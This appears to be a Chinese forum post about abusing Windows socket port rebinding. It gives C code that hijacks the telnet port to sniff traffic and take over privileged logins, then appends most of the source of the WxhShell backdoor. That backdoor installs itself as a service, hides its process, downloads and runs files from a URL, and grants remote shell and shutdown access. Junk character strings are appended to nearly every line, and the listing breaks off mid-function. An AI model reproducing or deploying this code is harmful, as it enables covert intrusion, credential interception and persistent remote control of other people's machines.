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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *rK}Ai  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7<mY{!2iF?  
h:<p EL  
  saddr.sin_family = AF_INET; !BP/#  
"D2 `=D!+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,*Tf9=z  
!TVlsm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G  2+A`\]  
zdzTJiY2[Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4H]Go~<  
Im+<oZ  
  这意味着什么?意味着可以进行如下的攻击: 8{8J(~  
,mhO\P96ik  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 35?et-=w  
s|dcO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0[7\p\Q  
,Za!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^0R.'XL  
PP.QfY4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D4ESo)15'  
p}.L]Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S2kFdx*Zf  
=66dxU?}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [DC8X P5 <  
!=3[Bm G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DFQp<Eq]7  
t Q385en  
  #include UIi;&[  
  #include Q35$GFj"jD  
  #include Waj6.PCFm  
  #include    3J32W@}.K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -Id4P _y  
  int main() y$Sn3_9 V  
  { 3~ ;LNi  
  WORD wVersionRequested; -uIu-a]  
  DWORD ret; 3'}(:X(  
  WSADATA wsaData;  SS[jk  
  BOOL val; zp:kdN7!^  
  SOCKADDR_IN saddr; ARGtWW~:  
  SOCKADDR_IN scaddr; C}<j8a?  
  int err; (, /`*GC  
  SOCKET s; CH[U.LJQ-O  
  SOCKET sc; =J&vr  
  int caddsize; JcL4q\g  
  HANDLE mt; :3pJGMv(  
  DWORD tid;   5 >S #ew  
  wVersionRequested = MAKEWORD( 2, 2 ); =&;orP  
  err = WSAStartup( wVersionRequested, &wsaData ); ]B/Gz  
  if ( err != 0 ) { zRd^Uks  
  printf("error!WSAStartup failed!\n"); o|YY,G=C  
  return -1; (/UW}$] h  
  } ijEMS1$=7  
  saddr.sin_family = AF_INET; _CO?HX5ek  
   hCVe05  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %4|*  
gHpA@jdC*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v;AsV`g  
  saddr.sin_port = htons(23); }:<`L\8q\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4$#nciAe  
  { m-Q!V+XQp  
  printf("error!socket failed!\n"); it.Lh'N;T  
  return -1; UmUw>+A  
  } SR)G!9z_/  
  val = TRUE; Yj3j?.JJk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /'k4NXnW3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [-5%[ty9X  
  { <E/4/ ANN  
  printf("error!setsockopt failed!\n"); s!(O7Ub  
  return -1; ?f f!(U  
  } X|zQZ<CO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Hof@,w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 meey5}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r6S-G{o  
XVr>\T4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XHs>Q>`  
  { xucrp::g  
  ret=GetLastError(); wCw-EGLR  
  printf("error!bind failed!\n"); :FB-GNd  
  return -1; w.Cw)# N  
  } oS6dcJHf  
  listen(s,2); UKX9C"-5v  
  while(1) nX~Qt%  
  { ntR@[)K  
  caddsize = sizeof(scaddr); _/(DEF+G  
  //接受连接请求 ,' VT75  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1Tl^mS~k  
  if(sc!=INVALID_SOCKET) PxfWO1S(  
  { $cjwY$6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H@Yj  
  if(mt==NULL) Sggha~E2s  
  { KZrg4TEVi  
  printf("Thread Creat Failed!\n"); & \tD$g~"  
  break; 7[z^0?Pygf  
  } 5:y\ejU  
  } 7X 4/6]*  
  CloseHandle(mt); s8BfOl-  
  } k{\wjaf)  
  closesocket(s); DwSB(O#X  
  WSACleanup(); DEJ0<pnQr  
  return 0; p[oR4 HWr  
  }   %87D(h!.I4  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1g_p`(  
  { 5&A{IN  
  SOCKET ss = (SOCKET)lpParam; 6d~[j <@2  
  SOCKET sc; N{+6V`\  
  unsigned char buf[4096]; TQ`s&8"P  
  SOCKADDR_IN saddr; UU\wP(f  
  long num; VWhq +8z  
  DWORD val; t&|M@Ouet  
  DWORD ret; ~-2%^ovB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j IO2uTM~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,~8&0p  
  saddr.sin_family = AF_INET; &[ oW"Q{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cft/;A u{  
  saddr.sin_port = htons(23); RJ}%pA4I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yM,.{m@F<  
  { . -ihxEbzr  
  printf("error!socket failed!\n"); qmmQH S  
  return -1; *<HA])D,  
  } eBT+|  
  val = 100; `U4e]Qh/+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {7d(B1[1  
  { <S[]VXy  
  ret = GetLastError(); BjX*Gm6l  
  return -1; unX mMSz(  
  } pW4O[v`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xWRkg$A  
  { *2,tGZ  
  ret = GetLastError(); 3R|Ub G`  
  return -1; n[[2<s*YJ  
  } 0G; b+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hW<TP'Zm*  
  { w-{a>ZU0  
  printf("error!socket connect failed!\n"); =;L44.,g  
  closesocket(sc); ,I|3.4z  
  closesocket(ss); r+%$0eB1^  
  return -1; eewlK]  
  } 'kuLkM,  
  while(1) hl} iw_e  
  { cQzUR^oq,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ] 6Y6q])Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x)+ q$FB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fEJF3<UF&  
  num = recv(ss,buf,4096,0); y':JUwUN  
  if(num>0) g9~QNA  
  send(sc,buf,num,0); wXR7Ifrv  
  else if(num==0) "udA-;!@&  
  break; \wR;N/tg  
  num = recv(sc,buf,4096,0); '@6O3z_{  
  if(num>0) R6m6bsZ`  
  send(ss,buf,num,0); }[;{@Zn  
  else if(num==0) R1cOUV,y[/  
  break; 62.)fCQ^  
  } )# os!Ns_A  
  closesocket(ss); tl6x@%\  
  closesocket(sc); ]0o_- NI  
  return 0 ; t~v_k\` {  
  } PAD&sTjE*  
Q]1s*P  
qs$w9I  
========================================================== 5M v<8P~  
F+<e9[  
下边附上一个代码,,WXhSHELL sgLw,WZ:  
m!- R}PQC  
========================================================== ]]F e:>  
QnJd}(yN  
#include "stdafx.h" h"}c_l Y9  
V=d~}PJ>  
#include <stdio.h> ~'#yH#o  
#include <string.h> A)9F_;BY  
#include <windows.h> `g+Kv&546  
#include <winsock2.h> rtxG-a56Q  
#include <winsvc.h> 2F&VG|"  
#include <urlmon.h> 9Zj9e  
jp+s[rRc\{  
#pragma comment (lib, "Ws2_32.lib") 4k_y;$4WN  
#pragma comment (lib, "urlmon.lib") % <1&\5f<5  
g0-~ %A,  
#define MAX_USER   100 // 最大客户端连接数 )NLjv=ql  
#define BUF_SOCK   200 // sock buffer P. Kfoos  
#define KEY_BUFF   255 // 输入 buffer Oh=E!  
GIM'H;XG  
#define REBOOT     0   // 重启 #O1%k;BL  
#define SHUTDOWN   1   // 关机 mS?W+jy%  
9,jFQb(),  
#define DEF_PORT   5000 // 监听端口 ^aI$97Li  
45 B |U  
#define REG_LEN     16   // 注册表键长度 itmFZZh  
#define SVC_LEN     80   // NT服务名长度 wiP )"g.t  
"'3QKeM1  
// 从dll定义API ' e:rL.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $!goM~pZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,a34=,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "1wjh=@z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .b|!FWHNS  
fR&x5Ika0  
// wxhshell配置信息 X1XmaO% A  
struct WSCFG { ">FuCvQ  
  int ws_port;         // 监听端口 qFE(H1hy  
  char ws_passstr[REG_LEN]; // 口令 Mi<l;ZP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 06]%$ -j  
  char ws_regname[REG_LEN]; // 注册表键名 exxH0^  
  char ws_svcname[REG_LEN]; // 服务名 &BxZ}JH=k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rI#,FZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cU_:l.b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 duV\Kt/g^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4?33t] "  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HSj=g}r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DQ.;2W  
z P8rW5/  
}; q uL+UFuM  
7r{159&=  
// default Wxhshell configuration |wM<n  
struct WSCFG wscfg={DEF_PORT, 6<o2 0(?  
    "xuhuanlingzhe", 8}Cp(z2  
    1, AhU   
    "Wxhshell", CHckmCgf4  
    "Wxhshell", AOM@~qyc   
            "WxhShell Service", 3S"kw  
    "Wrsky Windows CmdShell Service", gxc8O).5vY  
    "Please Input Your Password: ", "ph[)/u;  
  1, )v+\1  
  "http://www.wrsky.com/wxhshell.exe", UT%?3}*u"  
  "Wxhshell.exe" .#{m1mr  
    }; xM:9XhH1  
O ]!/fZ;(  
// 消息定义模块 :yFmCLZaQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l.uW>AoLh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5ajd$t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .cK<jF@'  
char *msg_ws_ext="\n\rExit."; =`g@6S  
char *msg_ws_end="\n\rQuit."; x"~gulcz  
char *msg_ws_boot="\n\rReboot..."; *?~&O.R"  
char *msg_ws_poff="\n\rShutdown..."; glomwny  
char *msg_ws_down="\n\rSave to "; 2CRgOFR  
7OD2/{]5  
char *msg_ws_err="\n\rErr!"; &?*H`5#?G  
char *msg_ws_ok="\n\rOK!"; i#I7ncX  
hQ}y(2A.XI  
char ExeFile[MAX_PATH]; TG6E^3a P  
int nUser = 0; Qe;R3D=T;  
HANDLE handles[MAX_USER]; .R _-$/ZP  
int OsIsNt; cH`ziZ<&m1  
UIo jXR<  
SERVICE_STATUS       serviceStatus; jm0v=m7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @a}\]REn  
;<H\{w@D  
// 函数声明 ki ?ETC  
int Install(void); 9+!"[  
int Uninstall(void); u}|+p+  
int DownloadFile(char *sURL, SOCKET wsh); {-l:F2i  
int Boot(int flag); |3C5"R3ZGO  
void HideProc(void); j/, I)Za  
int GetOsVer(void); h| N!U/(U  
int Wxhshell(SOCKET wsl); W[qQDn!r  
void TalkWithClient(void *cs); C zxF  
int CmdShell(SOCKET sock); y Dw#V`Y^M  
int StartFromService(void); ;:aCZ8e  
int StartWxhshell(LPSTR lpCmdLine); Su]p6B  
|W*i'E   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vi>`g{\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <KrfM  
b,lIndj#  
// 数据结构和表定义 8F/JOtkGMt  
SERVICE_TABLE_ENTRY DispatchTable[] = 64l(ru<  
{ ;uaZp.<um&  
{wscfg.ws_svcname, NTServiceMain}, O0QK `F/)*  
{NULL, NULL} 4||dc}I"E  
}; \+>g"';f  
]O0:0Z\  
// 自我安装 @i(;}rx  
int Install(void) {7^D!lis  
{ p9gX$-!pbG  
  char svExeFile[MAX_PATH]; \*\)zj*r  
  HKEY key; W+BHt{  
  strcpy(svExeFile,ExeFile); Fjw+D1q.  
Y(R .e7]  
// 如果是win9x系统,修改注册表设为自启动 F!cRx%R  
if(!OsIsNt) { Z`x*Igf8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :|N(:W>=$Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W$`p ,$.n  
  RegCloseKey(key); HG&rE3@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]L_h3Xz\X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oT*qMLdn  
  RegCloseKey(key); [ Mp8"  
  return 0; c}mWAZ=wF  
    } 1Wb_>`;  
  } h[oI/X  
} VH6J @m  
else { jbTsrj"g  
OFn#C!  
// 如果是NT以上系统,安装为系统服务 wqA7_ -  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q]wP^;\Jl  
if (schSCManager!=0)  4_d'Uh&]  
{ 6.k>J{GG  
  SC_HANDLE schService = CreateService M"E7= J  
  ( 5?-@}PL!Y  
  schSCManager, {xCqz0  
  wscfg.ws_svcname, G'(8/os{  
  wscfg.ws_svcdisp, HBcL1wfS  
  SERVICE_ALL_ACCESS, 0l2@3}e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fu{.Ir  
  SERVICE_AUTO_START, ~c${?uf   
  SERVICE_ERROR_NORMAL, {J]x81}*;  
  svExeFile, 7(B"3qF8|  
  NULL, N.?)s.D(  
  NULL, hi^t zpy  
  NULL, e#s-MK-Q  
  NULL, ab^>_xD<  
  NULL 4(TR'_X(  
  ); rf YFS96  
  if (schService!=0) &nfGRb  
  { L[O.]2  
  CloseServiceHandle(schService); -HUlB|Q8r  
  CloseServiceHandle(schSCManager); zA*I=3E(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e<r}{=1w  
  strcat(svExeFile,wscfg.ws_svcname); T[eb<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !EB[Lut m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #9(L/)^  
  RegCloseKey(key); ev9ltl{  
  return 0; L(DDyA{bA  
    } #?fKi$fS;L  
  } l@`Do[  
  CloseServiceHandle(schSCManager); i]}`e>fF  
} ]OLe&VRix  
} YOQ>A*@4  
s> JWNP  
return 1; O^KIB%}fu  
} ?k+>~k{}a  
s}bv o  
// 自我卸载 ,O`~ D~$  
int Uninstall(void) nP#|JRn=  
{ >WmT M0  
  HKEY key; 8 EUc 6  
pvYBhTz0  
if(!OsIsNt) { 67A g.f6-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z^O_7I<5E  
  RegDeleteValue(key,wscfg.ws_regname); wOF";0EN  
  RegCloseKey(key); rLp (}^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UHFI4{Wz  
  RegDeleteValue(key,wscfg.ws_regname); ")D5ulb\  
  RegCloseKey(key); BTDUT%Yfg  
  return 0; vY!'@W  
  } FS7@6I2Ts  
} oP_}C[  
} 1)hO!%  
else { tPaNhm[-q7  
Zk> #T:{h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B;c2gu  
if (schSCManager!=0)  C^*3nd3  
{ k%%0"+y#a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VRD:PVz  
  if (schService!=0) ]La~Bh6;m  
  { '|@?R|i0  
  if(DeleteService(schService)!=0) { fzjAP7 y  
  CloseServiceHandle(schService); GEtzLaq<  
  CloseServiceHandle(schSCManager); M6XpauR-  
  return 0; \`Ow)t:  
  } T':} p2}w+  
  CloseServiceHandle(schService); PIM4c  
  } % 9} ?*U  
  CloseServiceHandle(schSCManager); AI#.G7'O  
} "I0F"nQ  
} XU|>SOR@z  
<3!Q Xc  
return 1; tO+Lf2Ni+  
} ].HHTCD`c  
maOt/-  
// 从指定url下载文件 T_Cj=>L  
int DownloadFile(char *sURL, SOCKET wsh) +{L=cWA"  
{ S,vh  
  HRESULT hr; a~&euT2  
char seps[]= "/";  ,$(a,`s)  
char *token; 2`U+ !  
char *file; >!W H%J  
char myURL[MAX_PATH]; Dy|)u1?  
char myFILE[MAX_PATH]; 'f-8P  
/Jf}~}JP  
strcpy(myURL,sURL); >G}g=zy@  
  token=strtok(myURL,seps); "ifv1KZ#  
  while(token!=NULL) Y+!z]S/x  
  {  i)= \-C  
    file=token; JVR,Py:%G  
  token=strtok(NULL,seps); |syvtS{  
  } U?=-V8#M|  
;VS$xnZ  
GetCurrentDirectory(MAX_PATH,myFILE); mOfTq] @B  
strcat(myFILE, "\\"); sw+vyBV)r  
strcat(myFILE, file); 1.I58(0~+  
  send(wsh,myFILE,strlen(myFILE),0); f"R'Q|7D  
send(wsh,"...",3,0); 5+[ 3@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MJ<jF(_=  
  if(hr==S_OK) ]h%~'8g,  
return 0; +;bP.[Z  
else ]XEUD1N;I  
return 1; >hO9b;F}  
C_;A~iI7  
} QC6:ZxP  
E7  P'}  
// 系统电源模块 #+L:V&QE  
int Boot(int flag) 0DX)%s,KO  
{ 2 2@w:  
  HANDLE hToken; =w ! 6un  
  TOKEN_PRIVILEGES tkp; yq12"Rs  
}U@(S>,%  
  if(OsIsNt) { yb) a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Axw+zO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2]cU:j6G  
    tkp.PrivilegeCount = 1; ;s?,QvE{r#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a+<{!+3v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 88Vl1d&b  
if(flag==REBOOT) { Y_/w}HB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DFp">1@`PR  
  return 0; ;%Kh~  
} LerRrN}~  
else { Rw^X5ByJE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZMGC@4^F  
  return 0; NIG* }[}P  
} v;(k7  
  } Bhk@0\a  
  else { |!L0X@>  
if(flag==REBOOT) { o]<J&<WM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dlg9PyQ  
  return 0; ('+C $  
} Q2"K!u]  
else { S3^(L   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |LirjC4  
  return 0; <=%=,Yk  
} K_%gda|l+  
} HjY! ]!4p  
7*>,BhF#  
return 1; K{0 gkORF  
} f@0Km^aUc  
"EnxVV  
// win9x进程隐藏模块 |%uy{  
void HideProc(void) BK1I_/_!  
{ oj[<{/,C9  
C);I[H4Yfw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @s0mX3P  
  if ( hKernel != NULL ) Z6#(83G4  
  { 4A)_D{(SH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q+*@!s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KebC$g@W  
    FreeLibrary(hKernel); A'n{K#  
  } WNSEc%  
J7wIA3.O  
return; o,'Fz?[T%  
} cUTG! P\R  
" f.9u  
// 获取操作系统版本 B#4'3Y-3  
int GetOsVer(void)  Y+Cv9U0  
{ HqXS-TG  
  OSVERSIONINFO winfo; VBz G`&NG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z  GrDa  
  GetVersionEx(&winfo); @zT2!C?^L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aX? tnDv  
  return 1; H__'K/nH+  
  else JvYs6u  
  return 0; gnlU  
} @[bFlqs E  
|}Z2YDwO/  
// 客户端句柄模块 e?:1wU  
int Wxhshell(SOCKET wsl) WQsu}_g5y  
{ EAoq2_(`a  
  SOCKET wsh; j:U6q,f]  
  struct sockaddr_in client; =nv/ r  
  DWORD myID; 8Yf=)  
uG(XbDZZ1W  
  while(nUser<MAX_USER) EPU3Jban  
{ [0lO0ik>G  
  int nSize=sizeof(client); XO}SPf-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ($t;Xab  
  if(wsh==INVALID_SOCKET) return 1; 7#C3E$gn?  
,%U\@*6=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KxDfPd+j[  
if(handles[nUser]==0) y<PQ$D)  
  closesocket(wsh); zA| )9Dq  
else ~-'-<-  
  nUser++; gSkY c{b  
  } <GSp%r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _+}f@&"  
oo|Nu+  
  return 0; &t}6sD9o  
} &}d5'IRT  
Y)7\h:LIg  
// 关闭 socket I2z6iT4nB  
void CloseIt(SOCKET wsh) XW:%YTv  
{ BOv^L?)*Z  
closesocket(wsh); = VMELk!z  
nUser--; zN/nKj: Q  
ExitThread(0); p ^Y2A  
} b1yS1i D  
bd[iD?epD]  
// 客户端请求句柄 Kf`/ Gc!  
void TalkWithClient(void *cs) [Xww`OUsh  
{ L$ZsNs+  
PoD/i@  
  SOCKET wsh=(SOCKET)cs; `:Zgq+j&  
  char pwd[SVC_LEN]; 3|D.r-Q  
  char cmd[KEY_BUFF]; Pb<6-Jc[  
char chr[1]; on 4 $n7  
int i,j; iB+ _+A  
@>+`1C  
  while (nUser < MAX_USER) { -`5L;cxwk4  
XI"IEwB  
if(wscfg.ws_passstr) { L$^)QxH7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >J{e_C2ZS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hHgH'  
  //ZeroMemory(pwd,KEY_BUFF); rVwW%&  
      i=0; @/xdWN!,  
  while(i<SVC_LEN) { ,mM7g  
wpt5'|I  
  // 设置超时 )lP(is FP  
  fd_set FdRead; +1c[!;'  
  struct timeval TimeOut; H=9{|%iS  
  FD_ZERO(&FdRead); l@`n4U.Gwl  
  FD_SET(wsh,&FdRead); |][PbN D  
  TimeOut.tv_sec=8; 3U*4E?g  
  TimeOut.tv_usec=0; 0O(Vyy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2Hk21y\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $F6GCM3Cx  
Ss:'H H4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gi+FL_8CzU  
  pwd=chr[0]; $?On,U  
  if(chr[0]==0xd || chr[0]==0xa) { y:k7eE"  
  pwd=0; \W|ymV_Ki  
  break; \/9O5`u*V  
  } 3gv?rJV  
  i++; r9p ((ir  
    } I_|W'%N]  
~I]aUN  
  // 如果是非法用户,关闭 socket O~Svk'.)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?gCP"~  
} v)nBp\fjxp  
X$eR RSW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B[5<&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [K1z/ea)V  
/a s+ TU`A  
while(1) { rd,!-w5  
)"%J~:`h}  
  ZeroMemory(cmd,KEY_BUFF); 1";s #Jq  
\"d\b><R  
      // 自动支持客户端 telnet标准   Wr+1e1[  
  j=0; RtEx WTc  
  while(j<KEY_BUFF) { Q1!+wC   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I p|[  
  cmd[j]=chr[0]; =FQH5iSd  
  if(chr[0]==0xa || chr[0]==0xd) { L }R-|  
  cmd[j]=0; 10tTV3`IM  
  break; a[=ub256S  
  } h]}DMVV]  
  j++; dwb^z+   
    } T*k}E  
VRg y  
  // 下载文件 mqDI'~T9 u  
  if(strstr(cmd,"http://")) { Yw\lNhoPS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /1eeNbd  
  if(DownloadFile(cmd,wsh)) ;8b!T -K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3!8u  
  else $5DlCN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fFXnD  
  } 9&s>RJ  
  else { gCbS$Pw  
sIRfC< /P  
    switch(cmd[0]) { o'? WWJK6w  
  )ib$*dmUP  
  // 帮助 Su<>UsdUC  
  case '?': { VdGpreRPC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8&CQx*  
    break; xEufbFAN?  
  } $Qxy@vU  
  // 安装 HTSk40V  
  case 'i': { H>%L@Btw  
    if(Install()) .&n! 4F'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Jd*r(2d  
    else W9S6 SO^\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .u]d5z BR  
    break; v=DC3oh-  
    } Q~`{^fo1  
  // 卸载 P!lfk:M^;  
  case 'r': { KLjvPT\  
    if(Uninstall()) |{MXDx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]c~[&x5&  
    else NMzq10M=6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ssl.Y!  
    break; :.(A,  
    } F6_e n z  
  // 显示 wxhshell 所在路径 DeI3(o7  
  case 'p': { u[nLrEnD  
    char svExeFile[MAX_PATH]; ^OK;swDW  
    strcpy(svExeFile,"\n\r"); z}Um$'. =  
      strcat(svExeFile,ExeFile); NTVaz.  
        send(wsh,svExeFile,strlen(svExeFile),0); HE0m#  
    break; I/u>Gt  
    } B?4Iu)bCxI  
  // 重启 5>hXqNjP2  
  case 'b': { .etG>tH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yTf/]H]d  
    if(Boot(REBOOT)) vi` VK&+r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J|([(  
    else { H%0WD_  
    closesocket(wsh); yi2F#o 'K  
    ExitThread(0); N|/gwcKe  
    } E@-5L9eJ\  
    break; gw$?&[wY  
    } q9c-UQB(!  
  // 关机 }/ Qj8l.  
  case 'd': { ]1M Z:]k  
